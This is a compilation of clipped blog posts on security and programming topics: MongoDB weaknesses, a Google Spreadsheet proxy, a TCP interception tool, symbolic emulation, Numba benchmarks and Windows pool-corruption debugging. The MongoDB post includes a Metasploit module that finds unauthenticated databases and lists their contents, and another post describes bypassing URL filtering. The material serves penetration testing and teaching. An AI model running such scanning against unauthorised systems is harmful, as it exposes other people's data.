window is prefixed by “wyciwyg” – no this is not a typo of wysiwyg, it means
“what you cache is what you get.” Normally these URLs are not visible to the
user, but they are used for local cached copies of pages. Nevertheless, the
modification is complete; the original source has been completely rewritten
and the address bar is unchanged.

So what can you do? I was not able to test every browser, but Chrome displays
the actual original source:  
<img src='img/Temp2_5978.png' width='590' height='473' alt='Script visible in
Chrome' />

Alternatively, you can try to catch the pages via Wireshark but Wireshark will
not work with HTTPS. Certain Firefox addons can capture the original source as
well, such as the Net panel of Firebug.

# Mongodb - Security Weaknesses in a typical NoSQL database - SpiderLabs
Anterior

**Created:**| _3/23/2013 4:49:20 PM_  
---|---  
**Updated:**| _3/23/2013 4:49:20 PM_  
**Author:**| __  
**Tags:**| _vulnerability nosql_  
  

# Mongodb - Security Weaknesses in a typical NoSQL database

Over the last year or so, I’ve noticed 2 ports appearing more frequently
during internal penetration tests, namely 27017/tcp and 28017/tcp. These can
be easily missed if full port scans are not performed.

A quick service scan revealed this as ‘MongoDB’. I had heard of it before, but
never really taken the time to look at it in any great detail. After a couple
of hours of research, I realised this database was  
coming up in the world. Looking at their Production Deployment Use Cases on
MongoDB’s website  , it’s being used by large corporations such as Disney,
Forbes, MTV, UK Government to  
name just a few.

So, it was time to fire up a test VM, and download the latest version to have
a ‘play’.

For those of you not familiar with MongoDB, below are the pertinent points to
bring you up-to-speed:

  * 10Gen brought out the first release in 2007, so its not that old.
  * It’s a “document-orientated” database \(otherwise known as a NoSQL database\). 
  * Typically, NoSQL DB’s use XML, YAML, JSON, and BSON to encode the data. MongoDB uses Binary JSON \(BSON\). 
  * NoSQL databases have their own terminology that is different from typical relational databases such as MSSQL and MySQL: 
    * Document = Row or Record
    * Collection = Table or View
    * Field = Column
  * So, a typical NoSQL database collection \(table\) holds one or more “documents” \(records\). Each document can have one or more fields \(columns\).
  * It’s being used more and more in the production of agile applications i.e. quick to develop and deploy and often used in “big data” type projects. These can include banking applications and document storage as examples.

Ok, so what do you need to know to hack/test it? Its default ports are as
follows:

  * **27017** \- This is the default port mongod  and mongos  \(mongo shell\) instances. You can change this port with port  or \--port .
  * **27018** \- This is the default port when running with \-- shardsvr  runtime operation or shardsvr  setting.
  * **27019** \- This is the default port when running with \-- configsvr  runtime operation or configsvr  setting. 
  * **28017** \- This is the default port for the web status page. This is always accessible at a port that is 1000 greater than the port determined by port .

So, playing with the most recent version from their web site, possible attack
vectors I can think of are as follows \(there may be more\):

1\) **Authentication Weakness** – By default the DB installs with NO password
credentials\! Reading the MongoDB manual the MondoDB developers have put the
onus of security entirely in the hands of the application developers and
running it in a trusted environment. I thought lessons had been learnt with
the older more mature RDBMS DB cousins and their historic authentication
weaknesses…..its seems not.

2\) **Authorization Weaknesses –** Any created user has read-only access to
the WHOLE database. That essentially means that once you have a user, you have
provided access by default to everything stored in the database….not the most
secure.

3\) **Admin Authorization Weakness –** A user with access to the Admin
database has read/write access to everything\! There is no granularity. We
already know that by default there is no Admin password, so….guess what…by
default we have access to everything \!

4\) **Clear Text –** All data is sent in the clear, so the data can be
captured in an ARP Poison attack or other such MITM attack.

5\) **Multiple Interfaces Weakness –** By default the service will bind to ALL
available interfaces….not so good if you’re installing it in a dual-homed
environment ….you could essentially expose the whole database to a less
trusted DMZ if you wern’t careful\!

6\) **No Encryption –** Currently there is no data encryption.

7\) **NoSQL infers it’s safer than RDBMS’s which are vulnerable to SQL
Injection –** Therefore it’s being deployed with this inference, assuming more
security. The above shows this isn’t the case\!

Certainly the times I have seen this during internal engagements, it has been
installed in default mode i.e. NO PASSWORD, READ/WRITE ACCESS.

Clearly the developers using it tend to want to get a working application up
and running as the priority rather than looking at the security, from my
experience.

So how do you go about testing it?

There are several clients available from the mongoDB web site which include
the Mongodb shell e.g. curl http://downloads.mongodb.org/linux/mongodb-
linux-i686-2.2.2.tgz > mongo.tgz

This is currently 52.2MB in size.

In terms of security tools, there isn’t a lot out there at the moment.
Metasploit does have a scanner:

**use auxiliary/scanner/mongodb/mongodb\_login**

This is good for checking passwords when authentication is enabled, but it
didn’t tell me if default conditions were met i.e. the mongodb had no
credentials.

Therefore, I wanted to amend the above tool to perform the following
functions:

  * Finds hosts with TCP port 27017 open 
  * Checks if authentication is required or not
  * Attempt to login to Admin DB with no authentication.
  * List available databases

The metasploit script below performs the above function:

[/code]

[code]

\#\#\#\# This file will look for MongoDB databases on the network

\#\#\#\# and determine if authentication is requried or not.

\#\#\#\# If it isn't then it will enumerate basic information from it.

\#\#\#\# Makes use of the Mongo Wire Protocl \(MWP\) on default TCP port
27017.

\#\#\#\# Written by: David Kirkpatrick

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Scanner

include Msf::Exploit::Remote::Tcp

include Msf::Auxiliary::Report

def initialize\(info=\{\}\)

super\(update\_info\(info,

'Name' => 'MongoDB Enum Utility',

'Description' => %q\{

Kirky's MongoDB Enumerator\},

References'=>

\[\[ 'URL','http://www.mongodb.org/display/DOCS/Mongo+Wire+Protocol' \],\[
'URL','http://www.mongodb.org/display/DOCS/Implementing+Authentication+in+a+Driver'
\]\],

'Author' => \[ 'kirky' \],

'License' => MSF\_LICENSE

register\_options\(

Opt::RPORT\(27017\),

OptString.new\('DB', \[ true, "Database to use", "admin"\]\)

\], self.class\)

deregister\_options\('RHOST'\)

def run\_host\(ip\)

print\_status\("Scanning IP: \#\{ip.to\_s\}"\)

begin

connect

print\_good\("MongoDB Server \#\{ip.to\_s\} alive with no
authentication\!\!\!"\)

show\_dbs\(ip\)

rescue ::Exception => e

print\_error "MongoDB Server: \#\{e.to\_s\}"

return

\# Mongo Wire Protocol Packet

def show\_dbs\(ip\)

requestID = Rex::Text.rand\_text\(4\)

packet = "\x3f\x00\x00\x00" \#MWP message length \(63\)

packet << requestID \#MWP Request ID

packet << "\xff\xff\xff\xff" \#MWP responseTo

packet << "\xd4\x07\x00\x00" \#MWP Opcode 2004 \(OP\_QUERY\)

packet << "\x00\x00\x00\x00" \#MWP OP\_QUERY flags

packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\00" \#fullCollectionName
database=admin,collection=$cmd \(admin.$cmd\)

packet << "\x00\x00\x00\x00" \#MWP numberToSkip \(0\)

packet << "\x01\x00\x00\x00" \#MWP numberToReturn \(1\)

packet << "\x1c\x00\x00\x00" \#MWP Doc Length

packet <<
"\x01\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
\#MWP query listDabases

sock.put\(packet\)

response = sock.recv\(1024\)

name = response.scan\(/name.....\(.\*?\)..sizeOnDisk/\)

dbname = name.join\(","\)

print\_status\("List of Databases on \#\{ip.to\_s\}:- \#\{dbname\}"\)

disconnect\(\)

Given the lack of security with mongodb with the default install, basic
security hardening best practices should include:

  1. Disabling the default status page – using the ‘nohttpinterface’ option to turn off the 28017 port.
  2. Use a different port – using the ‘port’ option
  3. Do not enable REST in production environments – don’t use ‘rest’ option
  4. Bind the mongodb process to only one interface/IP – using the ‘bind\_ip’
  5. Don’t run mongodb daemon as root
  6. Disable anonymous access – using the ‘auth’ option
  7. Encrypt data - “To support audit requirements, you may need to encrypt data stored in MongoDB. For best results you can encrypt this data in the application layer, by encrypting the content of fields that hold secure data.”
  8. Encrypt communication – Recommended to use SSL

Trusting the security of the database entirely on the application and how well
it's written will continue to be a security issue, history has shown that.

So, if you haven’t added this to your list of top attack vectors, I’d
recommend starting to look for it in your port scans. At the moment, the
instances I’ve seen it on the network, the majority of times it’s a totally
unprotected database.

If the developers of mongodb continue to leave the onus of the security to the
people using it, I guess it will continue to be an easy target\! I can’t wait
till they start adding commands to interact with the operating system\! That
will be fun\! It's certainly one to keep an eye on to see how it develops.

### Comments

# sei-uno-zero-nove » Blog Archive » use google spreadsheet as a proxy

**Created:**| _1/31/2012 8:50:30 PM_  
---|---  
**Updated:**| _1/31/2012 8:51:54 PM_  
**Author:**| __  
**Tags:**| _Google vulnerability_  
  

## use google spreadsheet as a proxy

en 30.01.2012

<img src='img/Temp2_10622.png' alt='alt' />Applications of Google spreadsheet
functions for external data are virtually endless, and my previous article on
how `=IMPORTXML()` can help to automate the process of collecting web data is
just an example. Since fantasy has no limits, I want to show that another
possibility is to build… a proxy. Yes, a proxy inside Google preadsheet. Let
see.

According to Google help function `=IMPORTDATA()` retrieves information from a
CSV or TSV file, but really it can be used for whatever web page. So, if I am
precluded to visit a certain web site, say `www.example.com`, in theory in an
opened spreadsheet I could get the source code of its web page by
`=IMPORTDATA("www.example.com")`, copy and paste the returned string in a
notepad window, save it as a html file and finally open it with the browser.
If I need another page, I have to repeat all these steps, but clearly this is
a bit clumsy.

I made no other reasoning until the reading about text mirror on ghacks.net
convinced me that automating the described sketch would have made possible to
get a better tool.

So I have build a small proxy app. It works combining two _ad hoc_ elements: a
spreadsheet which stores user commands and retrieves the html source of
requested pages, and a bookmarklet which creates a minimal browsing interface
layer in front of the sheet window and intercepts and processes changes in
underlying sheet cells. To begin, the user has to open the spreadsheet and run
the bookmarklet. Then, for each input of him \(an url request, a move back or
forward in the navigation history, a click on any link in the current served
page\) a form is submitted to the sheet in a transparent way, forcing the html
source code of the requested page to be first retrieved on the sheet and then
shown on the proxy interface layer. Every time the spreadsheet is opened or
refreshed, history of previous session is deleted by a tiny Google apps
script. Here is a short demo video.

<img src='img/Temp2_10621.png' />

Surely this proxy has some hard limitations. The main one is that it is text-
only. All the elements linked in the page \(images, external style sheets and
external scripts\) aren’t retrieved. Moreover, in order to avoid or at least
minimize unexpected conflicts with the Google docs host page, the bookmarklet
removes all the inline styles, scripts and even button actions before
displaying the page text, so javascript and form interactions lack at all.
Therefore don’t believe to log in into facebook or twitter. But unlike text
tunnel, the html tags still make possible a rich text reading with headings,
lists, tables, bold, italic and underline formatting and most of all an
effective navigation thanks to the fully working links.  
Indeed, the main worth of this proxy is that it is practically invisible,
apart from Google who obviously logs all the activity in the sheet. Among
other well known proxies, some, as the one that everybody can set up following
this Digital Inspiron tutorial, is subject to url filtering while most of
them, as text tunnel, rely on web sites which can be blocked at any time. On
the contrary this proxy app works over https protocol, so exhibiting only the
private and protected url of the sheet on `docs.google` domain both on the
browser history and on a potential firewall device. Even `docs.google` domain
can be blocked, too, but it is widely accessed across all the world for fair
uses and there is no way \(or, at least, no simple way\) for an outsider to
understand what people are doing inside their own documents.

I must give a disclaimer. I consider this app just a proof of concept. It was
nice for me to test it for some occasional browsing and use it in some
emergency situations but even if I think it is harmless I cannot recommend it
to other people because I do not know Google TOS in detail. Anyhow, remember
that Google docs has a blocking system which prevents misuse of external data
functions.

For testing purposes, spreadsheet and bookmarklet links are just below. I have
checked functioning on Firefox 9 and Iron \(Chrome\) 14 with no problem on
most of the sites I have visited but since the bookmarklet doesn’t work in an
isolated iframe and its html parser is not very sophisticated, some unexpected
accident could occour on some non-standard pages. If it hangs up when loading
a page, refreshing the page and reloading the bookmarklet suffice to start a
new session.

Credits: I have used Yaffle’s code to convert relative urls to absolute ones.
I thank users on it.comp.language.javascript and in particular ZER0 for his
suggestions. If some parts of the bookmarklet are bad written, it’s only my
fault.

Proxy6109 \(spreadsheet\): to copy in your Google docs page

Proxy6109 \(bookmarklet\): to drag on your browser bookmark toolbar.

# Matasano Chargen » Blog Archive » Matasano PFI \(as seen on TV\!\)

**Created:**| _5/23/2009 12:22:12 PM_  
---|---  
**Updated:**| _5/23/2009 12:22:25 PM_  
**Author:**| __  
**Tags:**| _security tools packet-analysis_  
  

### Matasano PFI \(as seen on TV\!\)

stephen | May 22nd, 2009 | Filed Under: Bitching About Protocols, Development, Matasano, Reversing
Do you ever find yourself on a reversing or pen-testing project with the need
to peek into a TCP stream and modify a little bit of data?

Do you find yourself annoyed, feeling that you’ve hacked together code to do
this many times before, but simply can’t find it?

Do you find yourself hobbling together other tools to do what you need? Do you
find yourself wishing you had a Burp for raw TCP connections?

No MORE\! Using Matasano’s Port Forwarding Interceptor you have the tool you
need right at your fingertips\! Lets take a closer look at this exciting new
tool shall we?

Let’s say you are watching your favorite 15 minute ANSI art rendition of Star
Wars on telnet://towel.blinkenlights.nl . You think to yourself:

_“Man I sure wish I could get in-between my telnet client and the server and
begin reversing this Star Wars protocol”_.

Then you remember you got Matasano’s PFI off of Github earlier today\!

You take a look at the usage and it seems pretty self explanatory…

<img src='img/Temp2_5242.jpg' width='500' height='207' />

So then you decide to try it out by running something like this:

<img src='img/Temp2_5241.jpg' width='500' height='81' />

\(This sets up PFI as a TCP port forward listening on the loopback interface
on port 23 and forwarding traffic totowel.blinkenlights.nl on port 23, but you
knew that already of course, thats why you ran it…\)

You are then greeted by the comforting and familiar PFI GUI windows. And hey,
you didn’t even have to install any weird python modules or dependencies\!

<img src='img/Temp2_5244.jpg' width='500' height='542' />

You take a minute to notice how simple and self-explanatory it all is. One
window displays the intercepted text, and allows you to choose whether to
intercept. The other window allows you to edit the intercepted data before it
is passed on through the tunnel. How easy\! It **is **like a “Burp” for raw
TCP\!

You then decide to try it out by connecting through the tunnel:

<img src='img/Temp2_5240.jpg' width='500' height='88' />

And begin watching your ANSI art show:

<img src='img/Temp2_5245.jpg' width='500' height='314' />

So the tunnel works\! You look back at your PFI main window and see that data
**is** in fact passing through PFI.

<img src='img/Temp2_5243.jpg' width='500' height='391' />

You select the “Intercept” check boxes and begin intercepting and editing data
across the tunnel.

<img src='img/Temp2_5246.jpg' width='500' height='328' />

And as you begin reversing the complex ANSI Star Wars protocol you cant help
but feel yourself awash with gratitude that Matasano PFI saved you the trouble
of having to dig out all your old scripts and programs. You give your monitor
a thumbs up and say: “Thanks PFI\!”

Then you remember that Matasano Blackbag also had a similar tool \(called
replug\) and then you feel silly, not just about neglecting Blackbag but also
that you gave your monitor a thumbs up.

# Anatomy of a Symbolic Emulator, Part 3: Processing Symbolic Data &
Generating New Inputs « Sean Heelan's Blog

**Created:**| _4/7/2012 11:02:59 AM_  
---|---  
**Updated:**| _4/7/2012 11:02:59 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation symbolic exec tracing_  
  

## Anatomy of a Symbolic Emulator, Part 3: Processing Symbolic Data &
Generating New Inputs

March 23, 2012 by seanhn

In this final video in the series we go over how to generate new inputs for a
program once we detect a user-influenced conditional branch. At the end there
is also an example of the type of condition/resulting formula that we get from
working on a real file parser, in this case libwebp.

_\(You probably want to click the “Watch on YouTube” option on the bottom
right of the video and set the quality to 720p\)_

**Conclusion**  
This type of emulation, input generation and formula checking does not need to
be limited to conditional jumps. As I discussed in a previous post you can use
a similar approach to discover variable ranges, check for variable
relationships and assist in figuring out complex algorithms. For example, one
could generate a query to the solver every time an argument to malloc is found
to be influenced by the user, or export a list of all functions that operate
on user-influenced data to IDA for manual review. \(In fact, a light-weight
version of this approach in combination with fuzzing and an IDA importer is
possibly more generally useful to an individual auditor than going down the
route of full on whitebox fuzzing. More on that later =\)\)

Anyway, I hope these videos provide some insight into how a whitebox fuzzer
might work as well as one approach to building a symbolic emulator. To give an
idea of the effort involved – the combined whitebox fuzzing, trace parsing and
emulation code \(along with supporting libraries\) comes to around 10,000
lines of Python. Of this, the emulator itself is only 3000 lines or so. The
PIN tracer is just under 1000 lines of C++.

Tracing is currently fairly unoptimised and parsing something like a video or
image while tracing can result in a factor of 10-100 increase in running time.
This usually means a wait of 30 seconds, which isn’t too bad for whitebox
fuzzing as tracing is not performed too often but for other uses of a symbolic
emulator \(like tracing while fuzzing normally\) this will require some work.
The emulator itself is Python based and as such is not lightning fast. In the
default run-mode it emulates ~5000 instructions per second. What this
translates to is about 30-40 minutes per trace of an average file parser. This
isn’t as bad as you might think however as the tests cases generated tend to
be much more effective at hitting new code than what you would get from dumb
fuzzing. Despite this we still need performance gains and I’m working on a few
different solutions for that. Somewhere around 30,000+ instructions per second
would be what I would consider approaching acceptable =\)

To preempt the inevitable questions – for now JESTER is not publicly available
but that may change in the future. It’s very much a research prototype at the
moment where we’re testing out several approaches to improving performance and
general usefulness. However, if you are interested in working on this type of
research post a comment with a contact address \(it won’t appear publicly\) as
I’m fairly sure we are currently hiring.

# Numba vs Cython - Pythonic Perambulations

**Created:**| _8/26/2012 8:24:42 PM_  
---|---  
**Updated:**| _8/26/2012 8:24:42 PM_  
**Author:**| __  
**Tags:**| _python performance math_  
  

# Numba vs Cython

Aug 24th, 2012

| Comments

Often I’ll tell people that I use python for computational analysis, and they
look at me inquisitively. “Isn’t python pretty slow?” They have a point.
Python is an interpreted language, and as such cannot natively perform many
operations as quickly as a compiled language such as C or Fortran. There is
also the issue of the oft-misunderstood and much-maligned GIL, which calls
into question python’s ability to allow true parallel computing.

Many solutions have been proposed: PyPy is a much faster version of the core
python language; numexpr provides optimized performance on certain classes of
operations from within python; weave allows inline inclusion of compiled C/C++
code; cython provides extra markup that allows python and/or python-like code
to be compiled into C for fast operations. But a naysayer might point out:
many of these “python” solutions in practice are not really python at all, but
clever hacks into Fortran or C.

I personally have no problem with this. I like python because it gives me a
nice work-flow: it has a clean syntax, I don’t need to spend my time hunting
down memory errors, it’s quick to try-out code snippets, it’s easy to wrap
legacy code written in C and Fortran, and I’m much more productive when
writing python vs writing C or C++. Numpy, scipy, and scikit-learn give me
optimized routines for most of what I need to do on a daily basis, and if
something more specialized comes up, cython has never failed me. Nevertheless,
the whole setup is a bit clunky: why can’t I have the best of both worlds: a
beautiful, scripted, dynamically typed language like python, with the speed of
C or Fortran?

In recent years, new scripted languages like go and julia have popped up which
try to address some of these issues. Julia in particular has a number of nice
properties \(see the talk from Scipy 2012 for a good introduction\) and uses
LLVM to enable just-in-time \(JIT\) compilation and achieve some impressive
benchmarks. Julia holds promise, but I’m not yet ready to abandon the
incredible code-base and user-base of the python community.

Enter numba. This is an attempt to bring JIT compilation cleanly to python,
using the LLVM framework. In a recent post, one commenter pointed out numba as
an alternative to cython. I had heard about it before \(See Travis Oliphant’s
scipy 2012 talk here\) but hadn’t had the chance to try it out until now.
Installation is a bit involved, but the directions on the numba website are
pretty good.

To test this out, I decided to run some benchmarks using the pairwise distance
function I’ve explored before \(see posts here and here\).

### Pure Python Version

The pure python version of the function looks like this:

[code]

    123456789101112
[/code]

|

[code]

    import numpy as npdef pairwise_python(X, D):    M = X.shape[0]    N = X.shape[1]    for i in range(M):        for j in range(M):            d = 0.0            for k in range(N):                tmp = X[i, k] - X[j, k]                d += tmp * tmp            D[i, j] = np.sqrt(d)
[/code]  
---|---  
Not surprisingly, this is very slow. For an array consisting of 1000 points in
three dimensions, execution takes over 12 seconds on my machine:

[code]

    12345
[/code]

|

[code]

    In [2]: import numpy as npIn [3]: X = np.random.random((1000, 3))In [4]: D = np.empty((1000, 1000))In [5]: %timeit pairwise_python(X, D)1 loops, best of 3: 12.1 s per loop
[/code]  
---|---  
### Numba Version

Once numba is installed, we add only a single line to our above definition to
allow numba to interface our code with LLVM:

[code]

    123456789101112131415
[/code]

|

[code]

    import numpy as npfrom numba import doublefrom numba.decorators import jit@jit(arg_types=[double[:,:], double[:,:]])def pairwise_numba(X, D):    M = X.shape[0]    N = X.shape[1]    for i in range(M):        for j in range(M):            d = 0.0            for k in range(N):                tmp = X[i, k] - X[j, k]                d += tmp * tmp            D[i, j] = np.sqrt(d)
[/code]  
---|---  
I should emphasize that this is the _exact same_ code, except for numba’s
`jit` decorator. The results are pretty astonishing:

[code]

    12345
[/code]

|

[code]

    In [2]: import numpy as npIn [3]: X = np.random.random((1000, 3))In [4]: D = np.empty((1000, 1000))In [5]: %timeit pairwise_numba(X, D)100 loops, best of 3: 15.5 ms per loop
[/code]  
---|---  
This is a three order-of-magnitude speedup, simply by adding a numba
decorator\!

### Cython Version

For completeness, let’s do the same thing in cython. Cython takes a bit more
than just some decorators: there are also type specifiers and other imports
required. Additionally, we’ll use the `sqrt` function from the C math library
rather than from numpy. Here’s the code:

[code]

    12345678910111213141516
[/code]

|

[code]

    cimport cythonfrom libc.math cimport sqrt@cython.boundscheck(False)@cython.wraparound(False)def pairwise_cython(double[:, ::1] X, double[:, ::1] D):    cdef int M = X.shape[0]    cdef int N = X.shape[1]    cdef double tmp, d    for i in range(M):        for j in range(M):            d = 0.0            for k in range(N):                tmp = X[i, k] - X[j, k]                d += tmp * tmp            D[i, j] = sqrt(d)
[/code]  
---|---  
Running this shows about a 30% speedup over numba:

[code]

    12345
[/code]

|

[code]

    In [2]: import numpy as npIn [3]: X = np.random.random((1000, 3))In [4]: D = np.empty((1000, 1000))In [5]: %timeit pairwise_numba(X, D)100 loops, best of 3: 9.86 ms per loop
[/code]  
---|---  
### The Takeaway

So numba is 1000 times faster than a pure python implementation, and only
marginally slower than nearly identical cython code. There are some caveats
here: first of all, I have years of experience with cython, and only an hour’s
experience with numba. I’ve used every optimization I know for the cython
version, and just the basic vanilla syntax for numba. There are likely ways to
tweak the numba version to make it even faster, as indicated in the comments
of this post.

All in all, I should say I’m very impressed. Using numba, I added just a
_single line_ to the original python code, and was able to attain speeds
competetive with a highly-optimized \(and significantly less “pythonic”\)
cython implementation. Based on this, I’m extremely excited to see what numba
brings in the future.

All the above code is available as an ipython notebook:
numba\_vs\_cython.ipynb. For information on how to view this file, see the
IPython page Alternatively, you can view this notebook \(but not modify it\)
using the nbviewer here.

# Understanding Pool Corruption Part 1 – Buffer Overflows - Ntdebugging Blog -
Site Home - MSDN Blogs

**Created:**| _6/28/2013 9:26:28 PM_  
---|---  
**Updated:**| _6/28/2013 9:35:51 PM_  
**Author:**| __  
**Tags:**| _windows windows environment Memory corruptions_  
  

# **U** nderstanding Pool Corruption Part 1 – Buffer Overflows****

ntdebug

14 Jun 2013 1:50 PM

Before we can discuss pool corruption we must understand what pool is**.**
Pool is kernel mode memory used as a storage space for drivers**.** Pool is
organized in a similar way to how you might use a notepad when taking notes
from a lecture or a book**.** Some notes may be 1 line, others may be many
lines**.** Many different notes are on the same page.

Memory is also organized into pages, typically a page of memory is 4KB**.**
The Windows memory manager breaks up this 4KB page into smaller blocks**.**
One block may be as small as 8 bytes or possibly much larger**.** Each of
these blocks exists side by side with other blocks**.**

The \!pool command can be used to see the pool blocks stored in a page**.**

kd> \!pool fffffa8003f42000

Pool page fffffa8003f42000 region is Nonpaged pool

\*fffffa8003f42000 size: 410 previous size: 0 \(Free\) \*Irp

Pooltag Irp : Io, IRP packets

fffffa8003f42410 size: 40 previous size: 410 \(Allocated\) MmSe

fffffa8003f42450 size: 150 previous size: 40 \(Allocated\) File

fffffa8003f425a0 size: 80 previous size: 150 \(Allocated\) Even

fffffa8003f42620 size: c0 previous size: 80 \(Allocated\) EtwR

fffffa8003f426e0 size: d0 previous size: c0 \(Allocated\) CcBc

fffffa8003f427b0 size: d0 previous size: d0 \(Allocated\) CcBc

fffffa8003f42880 size: 20 previous size: d0 \(Free\) Free

fffffa8003f428a0 size: d0 previous size: 20 \(Allocated\) Wait

fffffa8003f42970 size: 80 previous size: d0 \(Allocated\) CM44

fffffa8003f429f0 size: 80 previous size: 80 \(Allocated\) Even

fffffa8003f42a70 size: 80 previous size: 80 \(Allocated\) Even

fffffa8003f42af0 size: d0 previous size: 80 \(Allocated\) Wait

fffffa8003f42bc0 size: 80 previous size: d0 \(Allocated\) CM44

fffffa8003f42c40 size: d0 previous size: 80 \(Allocated\) Wait

fffffa8003f42d10 size: 230 previous size: d0 \(Allocated\) ALPC

fffffa8003f42f40 size: c0 previous size: 230 \(Allocated\) EtwR

Because many pool allocations are stored in the same page, it is critical that
every driver only use the space they have allocated**.** If DriverA uses more
space than it allocated they will write into the next driver’s space
\(DriverB\) and corrupt DriverB’s data**.** This overwrite into the next
driver’s space is called a buffer overflow**.** Later either the memory
manager or DriverB will attempt to use this corrupted memory and will
encounter unexpected information**.** This unexpected information typically
results in a blue screen**.**

The NotMyFault application from Sysinternals has an option to force a buffer
overflow**.** This can be used to demonstrate pool corruption. Choosing the
“Buffer overflow” option and clicking “Crash” will cause a buffer overflow in
pool**.** The system may not immediately blue screen after clicking the Crash
button**.** The system will remain stable until something attempts to use the
corrupted memory**.** Using the system will often eventually result in a blue
screen**.**

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/5700.image001_5F00_6754835D.png'
alt='NotMyFault' />

Often pool corruption appears as a stop 0x19 BAD\_POOL\_HEADER or stop 0xC2
BAD\_POOL\_CALLER**.** These stop codes make it easy to determine that pool
corruption is involved in the crash**.** However, the results of accessing
unexpected memory can vary widely, as a result pool corruption can result in
many different types of bugchecks**.**

As with any blue screen dump analysis the best place to start is with **\!**
analyze -v**.** This command will display the stop code and parameters, and do
some basic interpretation of the crash**.**

kd> **\!** analyze -v

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

\* Bugcheck Analysis \*

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

SYSTEM\_SERVICE\_EXCEPTION \(3b\)

An exception happened while executing a system service routine**.**

Arguments:

Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: fffff8009267244a, Address of the instruction which caused the bugcheck

Arg3: fffff88004763560, Address of the context record for the exception that
caused the bugcheck

Arg4: 0000000000000000, zero**.**

In my example the bugcheck was a stop 0x3B SYSTEM\_SERVICE\_EXCEPTION**.** The
first parameter of this stop code is c0000005, which is a status code for an
access violation**.** An access violation is an attempt to access invalid
memory \(this error is not related to permissions\)**.** Status codes can be
looked up in the WDK header ntstatus**.** h.

The \!analyze -v command also provides a helpful shortcut to get into the
context of the failure**.**

CONTEXT: fffff88004763560 -- \(.cxr 0xfffff88004763560;r\)

Running this command shows us the registers at the time of the crash**.**

kd> .cxr 0xfffff88004763560

rax=4f4f4f4f4f4f4f4f rbx=fffff80092690460 rcx=fffff800926fbc60

rdx=0000000000000000 rsi=0000000000001000 rdi=0000000000000000

rip=fffff8009267244a rsp=fffff88004763f60 rbp=fffff8009268fb40

r8=fffffa8001a1b820 r9=0000000000000001 r10=fffff800926fbc60

r11=0000000000000011 r12=0000000000000000 r13=fffff8009268fb48

r14=0000000000000012 r15=000000006374504d

iopl=0 nv up ei pl nz na po nc

cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206

nt**\!** ExAllocatePoolWithTag+0x442:

fffff800\`9267244a 4c8b4808 mov r9,qword ptr \[rax+8\]
ds:002b:4f4f4f4f\`4f4f4f57=**?****?**??**?**??**?**??**?**??**?**??

From the above output we can see that the crash occurred in
ExAllocatePoolWithTag, which is a good indication that the crash is due to
pool corruption**.** Often an engineer looking at a dump will stop at this
point and conclude that a crash was caused by corruption, however we can go
further**.**

The instruction that we failed on was dereferencing rax+8**.** The rax
register contains 4f4f4f4f4f4f4f4f, which does not fit with the canonical form
required for pointers on x64 systems. This tells us that the system crashed
because the data in rax is expected to be a pointer but it is not one**.**

To determine why rax does not contain the expected data we must examine the
instructions prior to where the failure occurred**.**

kd> ub .

nt\!KzAcquireQueuedSpinLock \[inlined in nt**\!**
ExAllocatePoolWithTag+0x421\]:

fffff800\`92672429 488d542440 lea rdx,\[rsp+40h\]

fffff800\`9267242e 49875500 xchg rdx,qword ptr \[r13\]

fffff800\`92672432 4885d2 test rdx,rdx

fffff800\`92672435 0f85c3030000 jne nt**\!** ExAllocatePoolWithTag+0x7ec
\(fffff800\`926727fe\)

fffff800\`9267243b 48391b cmp qword ptr \[rbx\],rbx

fffff800\`9267243e 0f8464060000 je nt**\!** ExAllocatePoolWithTag+0xa94
\(fffff800\`92672aa8\)

fffff800\`92672444 4c8b03 mov r8,qword ptr \[rbx\]

fffff800\`92672447 498b00 mov rax,qword ptr \[r8\]

The assembly shows that rax originated from the data pointed to by r8**.** The
.cxr command we ran earlier shows that r8 is fffffa8001a1b820**.** If we
examine the data at fffffa8001a1b820 we see that it matches the contents of
rax, which confirms this memory is the source of the unexpected data in
rax**.**

kd> dq fffffa8001a1b820 l1

fffffa80\`01a1b820 4f4f4f4f\`4f4f4f4f

To determine if this unexpected data is caused by pool corruption we can use
the **\!** pool command.

kd> \!pool fffffa8001a1b820

Pool page fffffa8001a1b820 region is Nonpaged pool

fffffa8001a1b000 size: 810 previous size: 0 \(Allocated\) None

fffffa8001a1b810 doesn't look like a valid small pool allocation, checking to
see

if the entire page is actually part of a large page allocation..**.**

fffffa8001a1b810 is not a valid large pool allocation, checking large session
pool..**.**

fffffa8001a1b810 is freed \(or corrupt\) pool

Bad previous allocation size @fffffa8001a1b810, last size was 81

\*\*\* An error \(or corruption\) in the pool was detected;

\*\*\* Attempting to diagnose the problem**.**

\*\*\* Use \!poolval fffffa8001a1b000 for more details.

Pool page \[ fffffa8001a1b000 \] is \_\_inVALID**.**

Analyzing linked list...

\[ fffffa8001a1b000 --> fffffa8001a1b010 \(size = 0x10 bytes\)\]: Corrupt
region

Scanning for single bit errors..**.**

None found

The above output does not look like the **\!** pool command we used earlier.
This output shows corruption to the pool header which prevented the command
from walking the chain of allocations**.**

The above output shows that there is an allocation at fffffa8001a1b000 of size
810**.** If we look at this memory we should see a pool header**.** Instead
what we see is a pattern of 4f4f4f4f\`4f4f4f4f**.**

kd> dq fffffa8001a1b000 + 810

fffffa80\`01a1b810 4f4f4f4f\`4f4f4f4f 4f4f4f4f\`4f4f4f4f

